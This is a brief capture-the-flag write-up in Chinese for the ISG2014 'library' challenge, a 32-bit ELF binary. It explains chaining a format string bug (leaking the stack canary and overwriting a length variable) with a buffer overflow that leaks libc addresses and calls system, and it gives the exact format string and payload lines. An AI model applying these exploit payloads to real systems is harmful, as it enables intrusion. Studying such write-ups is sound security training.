almost 4 years ago

32-bit ELF exploit。這個 library 服務中的 Register 功能,有一個 format string 漏洞。
但這個漏洞只能使用一次,除非寫掉用來檢查是否註冊過的變數。
且輸入長度限制為 15 byte,一次可以做的事情不多,另外還有 % 字元的個數限制 (≤ 3)。

我們的 exploit 裡,使用 format string \x09\xB0\x04\x08%35$x%10$hn:

  1. 洩漏 StackGuard (%35$x)
  2. 寫掉 .data:804B008,這個變數用來決定 Query 功能裡書名的長度上限,把這個值改大可以造成溢位

接下來使用 Query 功能造成溢位,首先用 puts() 洩漏 .got:0804AFC4,即 read@.got
這題還另外給了 libc.so.6,因此只要知道 read 的位址,就可以推算出其它函式的位址。
32-bit 下只要把參數在棧上疊好就行了,之後回到 Query (0x08048971) 再溢出一次就可以在控制住流程

send('A'*0x100 + StackGuard + PD(0) + PD(0) + PD(0) +
     D(0x08048520) + D(0x08048971) + D(0x0804AFC4) + '\n')

有了 read 的位址後,接下來就改成呼叫 gets + system
找個可寫位址 (0x0804B008) 用 gets 讀入要執行的命令,然後用 system 執行。

send('A'*0x100 + StackGuard + PD(0) + PD(0) + PD(0) +
     D(gets) + D(system) + D(0x0804B008) + D(0x0804B008) + '\n')

Exploit source code isg2014 - library.py

← ISG2014 Out Of Space ISG2014 Cryptobaby →